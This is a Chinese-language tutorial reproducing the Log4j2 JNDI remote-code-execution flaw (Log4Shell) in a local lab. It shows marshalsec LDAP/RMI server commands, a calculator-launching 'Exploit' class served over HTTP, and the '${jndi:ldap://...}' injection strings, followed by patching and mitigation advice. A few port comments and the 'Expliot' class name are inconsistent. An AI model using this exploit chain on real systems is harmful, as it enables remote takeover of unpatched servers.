漏洞简介
漏洞概述由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。影响版本Apache Log4j 2.x<=2.15.0.rc1影响范围Spring-Boot-strater-log4j2ApacheStruts2ApacheSolrApacheFlinkApacheDruidElasticSearchFlumeDubboRedisLogstashKafkavmvare
复现过程
环境搭建
创建一个maven工程,引入jar包依赖。
<!-- pom.xml --><dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.0</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency></dependencies>
marshalsec
marshalsec这款工具,可以快速开启RMI和LDAP服务。GitHub:https://github.com/mbechler/marshalsec
clone到本地后使用maven编译。
mvn clean package-DskipTests
编译完成后在当前目录会生成一个
target
文件夹,里面有我们需要的jar包
marshalsec-0.0.3-SNAPSHOT-all.jar
启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Expliot"8080#8088是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1389。
启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Expliot"9090#9090是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1099。
漏洞利用
恶意类
编写一个恶意类Exploit,这里以弹出计算器为例。
publicclassExploit{publicExploit(){try{String[] commands =newString[]{"open","/System/Applications/Calculator.app"};Process pc =Runtime.getRuntime().exec(commands);
pc.waitFor();}catch(Exception var3){
var3.printStackTrace();}}publicstaticvoidmain(String[] argv){newExploit();}}
将这个类进行编译,在编译生成的.class文件目录下启动一个web服务。
python3 -m http.server 8000
LADP协议注入
创建测试类:
importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclass ldap {privatestaticfinalLogger logger =LogManager.getLogger(ldap.class);publicstaticvoidmain(String[] args){System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");}}
RMI协议注入
创造测试类:
importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclass rmi {privatestaticfinalLogger log =LogManager.getLogger();publicstaticvoidmain(String[] args){System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
log.error("${jndi:rmi://0.0.0.0:1099/Exploit}");}}
运行上面两个类,成功调用出计算器。
修复建议
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
临时措施进行漏洞防范:
- 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
- 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
- JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
- 部署使用第三方防火墙产品进行安全防护。
版权归原作者 这是方方方 所有, 如有侵权,请联系我们删除。